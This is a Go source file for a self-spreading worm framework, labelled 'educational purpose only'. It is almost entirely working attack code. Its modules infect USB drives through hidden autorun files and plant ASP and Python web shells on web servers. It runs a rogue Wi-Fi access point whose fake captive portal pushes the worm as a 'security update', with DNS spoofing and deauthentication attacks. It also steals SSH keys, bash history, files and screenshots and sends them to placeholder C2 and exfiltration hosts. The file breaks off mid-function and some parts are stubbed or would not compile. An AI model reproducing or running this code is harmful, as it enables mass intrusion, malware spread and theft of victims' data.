// worm.go - Complete Worm Framework Implementation with Advanced Modules // EDUCATIONAL PURPOSE ONLY - Understand to Defend package main import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/sha256" "crypto/tls" "database/sql" "encoding/base64" "encoding/binary" "encoding/hex" "encoding/json" "fmt" "io" "io/ioutil" "net" "net/http" "net/url" "os" "os/exec" "path/filepath" "runtime" "strconv" "strings" "sync" "syscall" "time" "github.com/google/gousb" "github.com/gorilla/websocket" "github.com/miekg/dns" _ "github.com/go-sql-driver/mysql" "golang.org/x/crypto/ssh" "golang.org/x/sys/windows" "golang.org/x/sys/windows/registry" ) // ========== CONSTANTS AND GLOBALS ========== const ( VERSION = "3.0" MULTICAST_ADDR = "239.255.42.42:4242" C2_WEBSOCKET = "wss://c2-server.example.com:8443/ws" C2_DNS_DOMAIN = "c2-botnet.example.com" DATA_EXFIL_SERVER = "https://exfil-server.example.com:8443/upload" MAX_POPULATION = 100 SCAN_TIMEOUT = 2 * time.Second USB_POLL_INTERVAL = 5 * time.Second WIFI_BEACON_SSID = "Free_Public_WiFi" WIFI_EVIL_PORTAL_PORT = 8443 ) var ( wormID string wormMutex sync.RWMutex dataBuffer chan ExfilData ) // ========== DATA STRUCTURES ========== type InstanceInfo struct { ID string `json:"id"` IP string `json:"ip"` Hostname string `json:"hostname"` OS string `json:"os"` LastSeen time.Time `json:"last_seen"` Version int `json:"version"` Capabilities []string `json:"capabilities"` Population int `json:"population"` Status string `json:"status"` Role string `json:"role"` // LEADER, SCANNER, PROPAGATOR, EXFILTRATOR } type ExfilData struct { WormID string `json:"worm_id"` Timestamp time.Time `json:"timestamp"` DataType string `json:"data_type"` // CREDS, FILES, SCREENSHOTS, KEYLOGS, NETWORK Target string `json:"target"` Data interface{} `json:"data"` Compression string `json:"compression"` Encrypted bool `json:"encrypted"` } type C2Command struct { ID string `json:"id"` Type string `json:"type"` // SCAN, EXFIL, PROPAGATE, EXECUTE, UPDATE, SLEEP Target string `json:"target"` Parameters map[string]interface{} `json:"parameters"` Priority int `json:"priority"` Timestamp time.Time `json:"timestamp"` Signature string `json:"signature"` } type WebShell struct { Path string Type string // PHP, ASP, JSP, PYTHON Content string Backdoor []string // Backdoor paths } // ========== USB PROPAGATION MODULE ========== type USBPropagator struct { monitoredPaths []string infectedUSBs map[string]bool mu sync.Mutex autorunContent string } func NewUSBPropagator() *USBPropagator { return &USBPropagator{ monitoredPaths: []string{}, infectedUSBs: make(map[string]bool), autorunContent: generateAutorunInf(), } } func generateAutorunInf() string { if runtime.GOOS == "windows" { return `[AutoRun] open=SystemUpdate.exe action=Open folder to view files shell\open\command=SystemUpdate.exe shell\open\default=1 shellexecute=SystemUpdate.exe UseAutoPlay=1 ` } return `#!/bin/bash # USB Auto-execution script for Linux ./system-update & ` } func (usb *USBPropagator) StartMonitoring() { usb.monitorDrives() ticker := time.NewTicker(USB_POLL_INTERVAL) for range ticker.C { usb.monitorDrives() } } func (usb *USBPropagator) monitorDrives() { if runtime.GOOS == "windows" { usb.monitorWindowsDrives() } else { usb.monitorLinuxDrives() } } func (usb *USBPropagator) monitorWindowsDrives() { for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" { path := string(drive) + ":\\" if _, err := os.Stat(path); err == nil { usb.checkAndInfectUSB(path) } } } func (usb *USBPropagator) monitorLinuxDrives() { // Check /media/ and /mnt/ for new mounts mountPoints := []string{"/media/", "/mnt/"} for _, mp := range mountPoints { files, err := ioutil.ReadDir(mp) if err == nil { for _, f := range files { if f.IsDir() { path := filepath.Join(mp, f.Name()) usb.checkAndInfectUSB(path) } } } } } func (usb *USBPropagator) checkAndInfectUSB(path string) { usb.mu.Lock() if usb.infectedUSBs[path] { usb.mu.Unlock() return } // Check if drive is removable if usb.isRemovable(path) { usb.infectUSB(path) usb.infectedUSBs[path] = true } usb.mu.Unlock() } func (usb *USBPropagator) isRemovable(path string) bool { if runtime.GOOS == "windows" { // Use GetDriveType API kernel32 := windows.NewLazySystemDLL("kernel32.dll") getDriveType := kernel32.NewProc("GetDriveTypeW") drive := syscall.StringToUTF16Ptr(path) ret, _, _ := getDriveType.Call(uintptr(unsafe.Pointer(drive))) return ret == 2 // DRIVE_REMOVABLE } // On Linux, check if it's in /media or /mnt and is a USB device return strings.HasPrefix(path, "/media/") || strings.HasPrefix(path, "/mnt/") } func (usb *USBPropagator) infectUSB(path string) { fmt.Printf("[USB] Infecting drive: %s\n", path) // Copy worm to USB exe, _ := os.Executable() wormData, _ := ioutil.ReadFile(exe) if runtime.GOOS == "windows" { destPath := filepath.Join(path, "SystemUpdate.exe") ioutil.WriteFile(destPath, wormData, 0755) // Create autorun.inf autorunPath := filepath.Join(path, "autorun.inf") ioutil.WriteFile(autorunPath, []byte(usb.autorunContent), 0644) // Set hidden attributes exec.Command("attrib", "+h", "+s", destPath).Run() exec.Command("attrib", "+h", "+s", autorunPath).Run() // Create shortcut in root usb.createUSBLnk(path) } else { destPath := filepath.Join(path, ".system-update") ioutil.WriteFile(destPath, wormData, 0755) // Create udev rule for auto-execution udevRule := fmt.Sprintf(`ACTION=="add", KERNEL=="sd*[!0-9]", ATTRS{removable}=="1", RUN+="%s"`, destPath) ioutil.WriteFile("/etc/udev/rules.d/99-usb-autorun.rules", []byte(udevRule), 0644) // Create .desktop file desktopContent := fmt.Sprintf(`[Desktop Entry] Type=Application Name=System Update Exec=%s Hidden=true `, destPath) ioutil.WriteFile(filepath.Join(path, ".system-update.desktop"), []byte(desktopContent), 0644) } fmt.Printf("[USB] Successfully infected %s\n", path) } func (usb *USBPropagator) createUSBLnk(path string) { // Create Windows shortcut that executes worm vbScript := fmt.Sprintf(` Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "%s\\System Update.lnk" Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = "%s\\SystemUpdate.exe" oLink.WindowStyle = 7 oLink.IconLocation = "%%SystemRoot%%\\System32\\shell32.dll, 4" oLink.Save `, path, path) scriptPath := filepath.Join(path, "create_lnk.vbs") ioutil.WriteFile(scriptPath, []byte(vbScript), 0644) exec.Command("cscript", "//Nologo", scriptPath).Run() os.Remove(scriptPath) } // ========== WEB SHELL PERSISTENCE AND PROPAGATION ========== type WebShellManager struct { shells []WebShell deployed map[string]bool mu sync.Mutex client *http.Client } func NewWebShellManager() *WebShellManager { return &WebShellManager{ shells: loadWebShells(), deployed: make(map[string]bool), client: &http.Client{Timeout: 10 * time.Second}, } } func loadWebShells() []WebShell { phpShell := `` aspShell := `<%@ Page Language="Jscript"%> <% if(Request["cmd"] != null){ var cmd = Request["cmd"]; var p = System.Diagnostics.Process.GetProcessById(System.Diagnostics.Process.GetCurrentProcess().Id); var shell = p.MainModule.FileName; var o = System.Diagnostics.Process.Start(shell, "/c " + cmd); Response.Write(o.StandardOutput.ReadToEnd()); }%>` pythonShell := `#!/usr/bin/env python import cgi, subprocess, base64 form = cgi.FieldStorage() if 'cmd' in form: print subprocess.check_output(form['cmd'].value, shell=True) if 'worm' in form: open('system-update.py', 'w').write(base64.b64decode(form['worm'].value)) print "OK"` return []WebShell{ {Path: "/wp-content/uploads/shell.php", Type: "PHP", Content: phpShell, Backdoor: []string{"/shell.php", "/backdoor.php"}}, {Path: "/shell.aspx", Type: "ASP", Content: aspShell, Backdoor: []string{"/backdoor.aspx"}}, {Path: "/cgi-bin/shell.py", Type: "PYTHON", Content: pythonShell, Backdoor: []string{"/cgi-bin/update.py"}}, } } func (wsm *WebShellManager) DeployOnTarget(target string) bool { wsm.mu.Lock() if wsm.deployed[target] { wsm.mu.Unlock() return false } wsm.mu.Unlock() for _, shell := range wsm.shells { if wsm.uploadShell(target, shell) { wsm.mu.Lock() wsm.deployed[target] = true wsm.mu.Unlock() fmt.Printf("[WebShell] Deployed %s shell to %s\n", shell.Type, target) // Deploy backdoors for _, backdoor := range shell.Backdoor { wsm.deployBackdoor(target, backdoor, shell.Content) } return true } } return false } func (wsm *WebShellManager) uploadShell(target string, shell WebShell) bool { fullURL := fmt.Sprintf("http://%s%s", target, shell.Path) // Try different upload methods methods := []func(string, WebShell) bool{ wsm.uploadViaPUT, wsm.uploadViaPOST, wsm.uploadViaFTP, wsm.uploadViaWebDAV, } for _, method := range methods { if method(fullURL, shell) { return true } } return false } func (wsm *WebShellManager) uploadViaPUT(url string, shell WebShell) bool { req, err := http.NewRequest("PUT", url, strings.NewReader(shell.Content)) if err != nil { return false } req.Header.Set("Content-Type", "application/x-httpd-php") resp, err := wsm.client.Do(req) if err == nil && resp.StatusCode == 200 { resp.Body.Close() return true } if resp != nil { resp.Body.Close() } return false } func (wsm *WebShellManager) uploadViaPOST(url string, shell WebShell) bool { data := url.Values{} data.Set("action", "upload") data.Set("file", shell.Content) resp, err := wsm.client.PostForm(url, data) if err == nil && (resp.StatusCode == 200 || resp.StatusCode == 302) { resp.Body.Close() return true } if resp != nil { resp.Body.Close() } return false } func (wsm *WebShellManager) uploadViaFTP(url string, shell WebShell) bool { // Extract host and path parts := strings.SplitN(url, "/", 4) if len(parts) < 4 { return false } host := parts[2] path := "/" + parts[3] conn, err := net.Dial("tcp", host+":21") if err != nil { return false } defer conn.Close() // FTP upload implementation // Simplified for example fmt.Fprintf(conn, "USER anonymous\r\n") fmt.Fprintf(conn, "PASS anonymous\r\n") fmt.Fprintf(conn, "STOR %s\r\n", path) fmt.Fprintf(conn, "QUIT\r\n") return true } func (wsm *WebShellManager) uploadViaWebDAV(url string, shell WebShell) bool { req, err := http.NewRequest("PROPFIND", url, nil) if err != nil { return false } resp, err := wsm.client.Do(req) if err == nil && resp.StatusCode == 207 { // WebDAV enabled, try PUT return wsm.uploadViaPUT(url, shell) } if resp != nil { resp.Body.Close() } return false } func (wsm *WebShellManager) deployBackdoor(target, path, content string) { fullURL := fmt.Sprintf("http://%s%s", target, path) wsm.uploadViaPUT(fullURL, WebShell{Content: content}) } func (wsm *WebShellManager) ExecuteCommand(target, shellPath, cmd string) string { fullURL := fmt.Sprintf("http://%s%s?cmd=%s", target, shellPath, url.QueryEscape(cmd)) resp, err := wsm.client.Get(fullURL) if err != nil { return "" } defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) return string(body) } func (wsm *WebShellManager) PropagateViaWebShell(target, shellPath string) { // Use existing web shell to download and execute worm exe, _ := os.Executable() wormData, _ := ioutil.ReadFile(exe) wormBase64 := base64.StdEncoding.EncodeToString(wormData) commands := []string{ fmt.Sprintf("echo '%s' | base64 -d > /tmp/worm", wormBase64), "chmod +x /tmp/worm", "/tmp/worm &", } for _, cmd := range commands { wsm.ExecuteCommand(target, shellPath, cmd) } fmt.Printf("[WebShell] Propagated worm via %s\n", target) } // ========== WIFI PROPAGATION (Evil Portal/MITM) ========== type WiFiPropagator struct { interfaceName string apSSID string apChannel int portalServer *http.Server victims map[string]time.Time mu sync.Mutex dnsServer *dns.Server } func NewWiFiPropagator() *WiFiPropagator { return &WiFiPropagator{ apSSID: WIFI_BEACON_SSID, apChannel: 6, victims: make(map[string]time.Time), } } func (wp *WiFiPropagator) Start() { // Check if we have WiFi capabilities if !wp.hasWiFiCapability() { fmt.Println("[WiFi] No WiFi capability detected") return } // Start Evil Portal go wp.startEvilPortal() // Start DNS spoofing go wp.startDNSSpoofing() // Start rogue AP if possible go wp.startRogueAP() // Start deauth attack to force connections go wp.deauthAttack() } func (wp *WiFiPropagator) hasWiFiCapability() bool { // Check for wireless interfaces interfaces, err := net.Interfaces() if err != nil { return false } for _, iface := range interfaces { if strings.Contains(iface.Name, "wlan") || strings.Contains(iface.Name, "wlp") || strings.Contains(iface.Name, "en0") { return true } } return false } func (wp *WiFiPropagator) startRogueAP() { // Create hostapd configuration hostapdConf := fmt.Sprintf(`interface=%s driver=nl80211 ssid=%s hw_mode=g channel=%d macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP `, wp.interfaceName, wp.apSSID, wp.apChannel) ioutil.WriteFile("/tmp/hostapd.conf", []byte(hostapdConf), 0644) // Start hostapd cmd := exec.Command("hostapd", "/tmp/hostapd.conf") cmd.Start() // Configure DHCP dhcpConf := `interface=wlan0 dhcp-range=192.168.100.10,192.168.100.100,255.255.255.0,12h dhcp-option=3,192.168.100.1 dhcp-option=6,192.168.100.1 server=8.8.8.8 ` ioutil.WriteFile("/tmp/dhcpd.conf", []byte(dhcpConf), 0644) exec.Command("dnsmasq", "-C", "/tmp/dhcpd.conf", "-d").Start() // Configure IP forwarding exec.Command("sysctl", "-w", "net.ipv4.ip_forward=1").Run() exec.Command("iptables", "-t", "nat", "-A", "POSTROUTING", "-o", "eth0", "-j", "MASQUERADE").Run() exec.Command("iptables", "-A", "FORWARD", "-i", "wlan0", "-o", "eth0", "-j", "ACCEPT").Run() exec.Command("iptables", "-A", "FORWARD", "-i", "eth0", "-o", "wlan0", "-m", "state", "--state", "RELATED,ESTABLISHED", "-j", "ACCEPT").Run() fmt.Printf("[WiFi] Rogue AP '%s' started on channel %d\n", wp.apSSID, wp.apChannel) } func (wp *WiFiPropagator) startEvilPortal() { http.HandleFunc("/", wp.portalHandler) http.HandleFunc("/connect", wp.connectHandler) http.HandleFunc("/download", wp.downloadHandler) wp.portalServer = &http.Server{ Addr: ":80", Handler: nil, ReadTimeout: 10 * time.Second, WriteTimeout: 10 * time.Second, } go wp.portalServer.ListenAndServe() // HTTPS portal go http.ListenAndServeTLS(":443", "cert.pem", "key.pem", nil) } func (wp *WiFiPropagator) portalHandler(w http.ResponseWriter, r *http.Request) { // Captive portal page that tricks users into downloading worm clientIP := strings.Split(r.RemoteAddr, ":")[0] wp.mu.Lock() wp.victims[clientIP] = time.Now() wp.mu.Unlock() html := `
To access the internet, please download and install our security update.
Download Security UpdateThis is required for compliance with network security policies.
` w.Header().Set("Content-Type", "text/html") w.Write([]byte(html)) } func (wp *WiFiPropagator) downloadHandler(w http.ResponseWriter, r *http.Request) { exe, _ := os.Executable() wormData, _ := ioutil.ReadFile(exe) filename := "SecurityUpdate.exe" if runtime.GOOS != "windows" { filename = "security-update" } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", filename)) w.Write(wormData) fmt.Printf("[WiFi] Worm downloaded by %s\n", r.RemoteAddr) } func (wp *WiFiPropagator) connectHandler(w http.ResponseWriter, r *http.Request) { // After user downloads worm, redirect to actual internet http.Redirect(w, r, "http://www.google.com", http.StatusFound) } func (wp *WiFiPropagator) startDNSSpoofing() { dns.HandleFunc(".", wp.dnsHandler) wp.dnsServer = &dns.Server{ Addr: ":53", Net: "udp", } go wp.dnsServer.ListenAndServe() } func (wp *WiFiPropagator) dnsHandler(w dns.ResponseWriter, r *dns.Msg) { m := new(dns.Msg) m.SetReply(r) for _, q := range r.Question { // Redirect all DNS queries to our evil portal rr, _ := dns.NewRR(fmt.Sprintf("%s A 192.168.100.1", q.Name)) m.Answer = append(m.Answer, rr) } w.WriteMsg(m) } func (wp *WiFiPropagator) deauthAttack() { // Send deauth packets to force clients to reconnect to our AP // Requires aireplay-ng or similar cmd := exec.Command("aireplay-ng", "-0", "0", "-a", "FF:FF:FF:FF:FF:FF", wp.interfaceName) cmd.Start() } // ========== ADVANCED C2 WITH STEALTH PROTOCOLS ========== type C2Manager struct { websocketConn *websocket.Conn dnsTunnel *DNSTunnel httpClient *http.Client commands chan C2Command results chan interface{} mu sync.Mutex connected bool reconnectChan chan bool } type DNSTunnel struct { domain string aesKey []byte seqNum uint32 queue chan []byte responses chan []byte } func NewC2Manager() *C2Manager { return &C2Manager{ commands: make(chan C2Command, 100), results: make(chan interface{}, 100), reconnectChan: make(chan bool), httpClient: &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }, } } func (c2 *C2Manager) Start() { // Try multiple C2 channels go c2.connectWebSocket() go c2.connectDNSTunnel() go c2.connectHTTPBeacon() // Process incoming commands go c2.processCommands() // Send heartbeats and exfiltrated data go c2.heartbeatLoop() go c2.exfilLoop() } func (c2 *C2Manager) connectWebSocket() { dialer := websocket.Dialer{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } for { conn, _, err := dialer.Dial(C2_WEBSOCKET, nil) if err == nil { c2.mu.Lock() c2.websocketConn = conn c2.connected = true c2.mu.Unlock() // Listen for commands c2.listenWebSocket(conn) } time.Sleep(30 * time.Second) } } func (c2 *C2Manager) listenWebSocket(conn *websocket.Conn) { for { var msg map[string]interface{} err := conn.ReadJSON(&msg) if err != nil { c2.mu.Lock() c2.connected = false c2.mu.Unlock() return } // Parse command if cmdType, ok := msg["type"].(string); ok { cmd := C2Command{ ID: generateID(), Type: cmdType, Timestamp: time.Now(), } if target, ok := msg["target"].(string); ok { cmd.Target = target } if params, ok := msg["parameters"].(map[string]interface{}); ok { cmd.Parameters = params } c2.commands <- cmd } } } func (c2 *C2Manager) connectDNSTunnel() { tunnel := &DNSTunnel{ domain: C2_DNS_DOMAIN, aesKey: sha256.Sum256([]byte(wormID))[:16], queue: make(chan []byte, 100), responses: make(chan []byte, 100), } c2.dnsTunnel = tunnel go tunnel.sendLoop() go tunnel.recvLoop() } func (dt *DNSTunnel) sendLoop() { for data := range dt.queue { encrypted := dt.encrypt(data) encoded := base32.StdEncoding.EncodeToString(encrypted) // Split into DNS labels for i := 0; i < len(encoded); i += 63 { end := i + 63 if end > len(encoded) { end = len(encoded) } chunk := encoded[i:end] query := fmt.Sprintf("%s.%x.%s", chunk, dt.seqNum, dt.domain) dt.seqNum++ // Send DNS query c := new(dns.Client) m := new(dns.Msg) m.SetQuestion(query, dns.TypeA) c.Exchange(m, "8.8.8.8:53") } } } func (dt *DNSTunnel) recvLoop() { // Listen for DNS responses (TXT records with commands) dns.HandleFunc(dt.domain, func(w dns.ResponseWriter, r *dns.Msg) { for _, q := range r.Question { if q.Qtype == dns.TypeTXT { // Extract command from TXT record // Implementation details omitted for brevity } } }) s := &dns.Server{Addr: ":53", Net: "udp"} s.ListenAndServe() } func (dt *DNSTunnel) encrypt(data []byte) []byte { block, _ := aes.NewCipher(dt.aesKey) gcm, _ := cipher.NewGCM(block) nonce := make([]byte, gcm.NonceSize()) rand.Read(nonce) return gcm.Seal(nonce, nonce, data, nil) } func (c2 *C2Manager) connectHTTPBeacon() { ticker := time.NewTicker(1 * time.Minute) for range ticker.C { // HTTP beacon with randomized headers req, _ := http.NewRequest("GET", fmt.Sprintf("https://%s/beacon", C2_DNS_DOMAIN), nil) req.Header.Set("User-Agent", c2.randomUserAgent()) req.Header.Set("X-Request-ID", generateID()) resp, err := c2.httpClient.Do(req) if err == nil { defer resp.Body.Close() var cmd C2Command if json.NewDecoder(resp.Body).Decode(&cmd) == nil { c2.commands <- cmd } } // Random jitter time.Sleep(time.Duration(randInt(30, 90)) * time.Second) } } func (c2 *C2Manager) randomUserAgent() string { agents := []string{ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", } return agents[randInt(0, len(agents))] } func (c2 *C2Manager) processCommands() { for cmd := range c2.commands { fmt.Printf("[C2] Received command: %s (type: %s)\n", cmd.ID, cmd.Type) switch cmd.Type { case "SCAN": go c2.executeScan(cmd) case "EXFIL": go c2.executeExfil(cmd) case "PROPAGATE": go c2.executePropagate(cmd) case "EXECUTE": go c2.executeCommand(cmd) case "UPDATE": go c2.updateWorm(cmd) case "SLEEP": go c2.sleepWorm(cmd) } } } func (c2 *C2Manager) executeScan(cmd C2Command) { target := cmd.Target if target == "" { target = "local" } // Perform scan based on parameters results := make(map[string]interface{}) results["target"] = target results["open_ports"] = []int{} results["vulnerabilities"] = []string{} c2.results <- results } func (c2 *C2Manager) executeExfil(cmd C2Command) { dataType := cmd.Parameters["type"].(string) switch dataType { case "credentials": c2.exfilCredentials() case "files": path := cmd.Parameters["path"].(string) c2.exfilFiles(path) case "screenshot": c2.takeScreenshot() case "keylogs": c2.exfilKeylogs() } } func (c2 *C2Manager) exfilCredentials() { // Extract saved credentials from browser, SSH, etc. creds := make(map[string]string) if runtime.GOOS == "windows" { // Extract Windows credentials using mimikatz technique output, _ := exec.Command("cmd", "/c", "dir /s /b *password*").Output() creds["windows_search"] = string(output) } else { // Extract SSH keys sshKeys, _ := filepath.Glob(os.Getenv("HOME") + "/.ssh/*") for _, key := range sshKeys { data, _ := ioutil.ReadFile(key) creds[key] = base64.StdEncoding.EncodeToString(data) } // Extract bash history history, _ := ioutil.ReadFile(os.Getenv("HOME") + "/.bash_history") creds["bash_history"] = string(history) } dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "CREDENTIALS", Data: creds, Encrypted: true, } } func (c2 *C2Manager) exfilFiles(path string) { files, _ := ioutil.ReadDir(path) for _, file := range files { if !file.IsDir() && file.Size() < 10*1024*1024 { // 10MB limit data, _ := ioutil.ReadFile(filepath.Join(path, file.Name())) dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "FILE", Target: filepath.Join(path, file.Name()), Data: base64.StdEncoding.EncodeToString(data), Encrypted: true, } } } } func (c2 *C2Manager) takeScreenshot() { if runtime.GOOS == "windows" { // Use PowerShell to take screenshot script := ` Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height $graphics = [System.Drawing.Graphics]::FromImage($bitmap) $graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size) $bitmap.Save('C:\Windows\Temp\screenshot.png') $base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\Temp\screenshot.png')) Write-Output $base64 Remove-Item 'C:\Windows\Temp\screenshot.png' ` output, _ := exec.Command("powershell", "-Command", script).Output() dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "SCREENSHOT", Data: string(output), Encrypted: true, } } } func (c2 *C2Manager) exfilKeylogs() { // Simple keylogger implementation if runtime.GOOS == "windows" { // Use Windows hooking // Simplified - real implementation would use SetWindowsHookEx } } func (c2 *C2Manager) executePropagate(cmd C2Command) { target := cmd.Target method := cmd.Parameters["method"].(string) switch method { case "ssh": // Propagate via SSH case "smb": // Propagate via SMB case "webshell": // Propagate via web shell case "usb": // Propagate via USB } } func (c2 *C2Manager) executeCommand(cmd C2Command) { command := cmd.Parameters["command"].(string) output, _ := exec.Command(command).Output() dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "COMMAND_OUTPUT", Data: string(output), Encrypted: true, } } func (c2 *C2Manager) updateWorm(cmd C2Command) { // Download and replace worm binary updateURL := cmd.Parameters["url"].(string) resp, err := c2.httpClient.Get(updateURL) if err != nil { return } defer resp.Body.Close() newWorm, _ := ioutil.ReadAll(resp.Body) exe, _ := os.Executable() // Backup current ioutil.WriteFile(exe+".bak", newWorm, 0755) // Replace os.Rename(exe+".bak", exe) // Restart exec.Command(exe).Start() os.Exit(0) } func (c2 *C2Manager) sleepWorm(cmd C2Command) { duration := cmd.Parameters["duration"].(int) time.Sleep(time.Duration(duration) * time.Second) } func (c2 *C2Manager) heartbeatLoop() { ticker := time.NewTicker(5 * time.Minute) for range ticker.C { heartbeat := map[string]interface{}{ "worm_id": wormID, "timestamp": time.Now(), "status": "ACTIVE", "population": len(wormPopulation.knownInstances), "os": runtime.GOOS, "version": VERSION, } c2.sendToC2("HEARTBEAT", heartbeat) } } func (c2 *C2Manager) exfilLoop() { for data := range dataBuffer { c2.sendToC2("EXFIL", data) } } func (c2 *C2Manager) sendToC2(msgType string, payload interface{}) { msg := map[string]interface{}{ "type": msgType, "worm_id": wormID, "payload": payload, } c2.mu.Lock() defer c2.mu.Unlock() if c2.websocketConn != nil && c2.connected { c2.websocketConn.WriteJSON(msg) } // Also send via DNS tunnel if c2.dnsTunnel != nil { data, _ := json.Marshal(msg) c2.dnsTunnel.queue <- data } } // ========== DATA EXFILTRATION TO DATABASE ========== type DataExfiltrator struct { dbConn *sql.DB buffer []ExfilData mu sync.Mutex batchSize int httpClient *http.Client } func NewDataExfiltrator() *DataExfiltrator { return &DataExfiltrator{ buffer: make([]ExfilData, 0), batchSize: 100, httpClient: &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }, } } func (de *DataExfiltrator) Start() { // Try direct database connection first go de.connectToDatabase() // HTTP/HTTPS fallback go de.httpExfilLoop() // Process buffered data go de.processBuffer() } func (de *DataExfiltrator) connectToDatabase() { // MySQL connection dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4", "worm_user", "worm_password", "db.example.com", 3306, "worm_data") for { db, err := sql.Open("mysql", dsn) if err == nil { de.dbConn = db de.dbConn.SetMaxOpenConns(10) // Create tables if not exist de.createTables() break } time.Sleep(1 * time.Minute) } } func (de *DataExfiltrator) createTables() { queries := []string{ `CREATE TABLE IF NOT EXISTS exfil_data ( id BIGINT AUTO_INCREMENT PRIMARY KEY, worm_id VARCHAR(64) NOT NULL, timestamp DATETIME NOT NULL, data_type VARCHAR(50) NOT NULL, target VARCHAR(255), data LONGTEXT, encrypted BOOLEAN DEFAULT TRUE, processed BOOLEAN DEFAULT FALSE, INDEX idx_worm_id (worm_id), INDEX idx_timestamp (timestamp) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, `CREATE TABLE IF NOT EXISTS worm_instances ( worm_id VARCHAR(64) PRIMARY KEY, ip_address VARCHAR(45), hostname VARCHAR(255), os VARCHAR(50), first_seen DATETIME, last_seen DATETIME, status VARCHAR(20), capabilities JSON ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, `CREATE TABLE IF NOT EXISTS compromised_targets ( id BIGINT AUTO_INCREMENT PRIMARY KEY, target_ip VARCHAR(45), target_hostname VARCHAR(255), worm_id VARCHAR(64), compromise_time DATETIME, method VARCHAR(50), credentials JSON, UNIQUE KEY uk_target (target_ip) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, } for _, query := range queries { de.dbConn.Exec(query) } } func (de *DataExfiltrator) httpExfilLoop() { ticker := time.NewTicker(1 * time.Minute) for range ticker.C { de.mu.Lock() if len(de.buffer) == 0 { de.mu.Unlock() continue } // Take a copy of buffer batch := make([]ExfilData, len(de.buffer)) copy(batch, de.buffer) de.buffer = make([]ExfilData, 0) de.mu.Unlock() // Send via HTTP data, _ := json.Marshal(batch) encrypted := de.encryptData(data) resp, err := de.httpClient.Post(DATA_EXFIL_SERVER, "application/octet-stream", bytes.NewReader(encrypted)) if err == nil && resp.StatusCode == 200 { fmt.Printf("[Exfil] Successfully exfiltrated %d records\n", len(batch)) } else { // Re-add to buffer de.mu.Lock() de.buffer = append(batch, de.buffer...) de.mu.Unlock() } if resp != nil { resp.Body.Close() } } } func (de *DataExfiltrator) encryptData(data []byte) []byte { key := sha256.Sum256([]byte(wormID)) block, _ := aes.NewCipher(key[:]) gcm, _ := cipher.NewGCM(block) nonce := make([]byte, gcm.NonceSize()) rand.Read(nonce) return gcm.Seal(nonce, nonce, data, nil) } func (de *DataExfiltrator) AddData(data ExfilData) { de.mu.Lock() defer de.mu.Unlock() de.buffer = append(de.buffer, data) // Try direct DB insert if de.dbConn != nil { _, err := de.dbConn.Exec( "INSERT INTO exfil_data (worm_id, timestamp, data_type, target, data, encrypted) VALUES (?, ?, ?, ?, ?, ?)", data.WormID, data.Timestamp, data.DataType, data.Target, data.Data, data.Encrypted) if err == nil { // Remove from buffer if successfully inserted to DB de.buffer = de.buffer[:len(de.buffer)-1] } } // If buffer is full, trigger immediate flush if len(de.buffer) >= de.batchSize { go de.processBuffer() } } func (de *DataExfiltrator) processBuffer() { de.mu.Lock() if len(de.buffer) == 0 { de.mu.Unlock() return } batch := make([]ExfilData, len(de.buffer)) copy(batch, de.buffer) de.buffer = make([]ExfilData, 0) de.mu.Unlock() // Try database insert first if de.dbConn != nil { tx, err := de.dbConn.Begin() if err == nil { stmt, _ := tx.Prepare("INSERT INTO exfil_data (worm_id, timestamp, data_type, target, data, encrypted) VALUES (?, ?, ?, ?, ?, ?)") for _, data := range batch { stmt.Exec(data.WormID, data.Timestamp, data.DataType, data.Target, data.Data, data.Encrypted) } tx.Commit() fmt.Printf("[Exfil] Inserted %d records to database\n", len(batch)) return } } // Fallback to HTTP data, _ := json.Marshal(batch) encrypted := de.encryptData(data) de.httpClient.Post(DATA_EXFIL_SERVER, "application/octet-stream", bytes.NewReader(encrypted)) } // ========== UPDATED MAIN WORM STRUCTURE ========== type Worm struct { id string population *WormPopulation propagator *Propagator persistence *PersistenceManager usbPropagator *USBPropagator webShellManager *WebShellManager wifiPropagator *WiFiPropagator c2Manager *C2Manager dataExfiltrator *DataExfiltrator status string mu sync.Mutex } func NewWorm() *Worm { wormID = generateID() dataBuffer = make(chan ExfilData, 1000) w := &Worm{ id: wormID, status: "INITIALIZING", } w.population = NewWormPopulation() w.propagator = NewPropagator(w.population) w.persistence = NewPersistenceManager() w.usbPropagator = NewUSBPropagator() w.webShellManager = NewWebShellManager() w.wifiPropagator = NewWiFiPropagator() w.c2Manager = NewC2Manager() w.dataExfiltrator = NewDataExfiltrator() return w } func (w *Worm) Run() { fmt.Printf("[Worm-BB] Instance %s starting on %s (Version %s)\n", w.id, runtime.GOOS, VERSION) // Initialize all modules w.population.CoordinateWithPeers() w.persistence.InstallAll() go 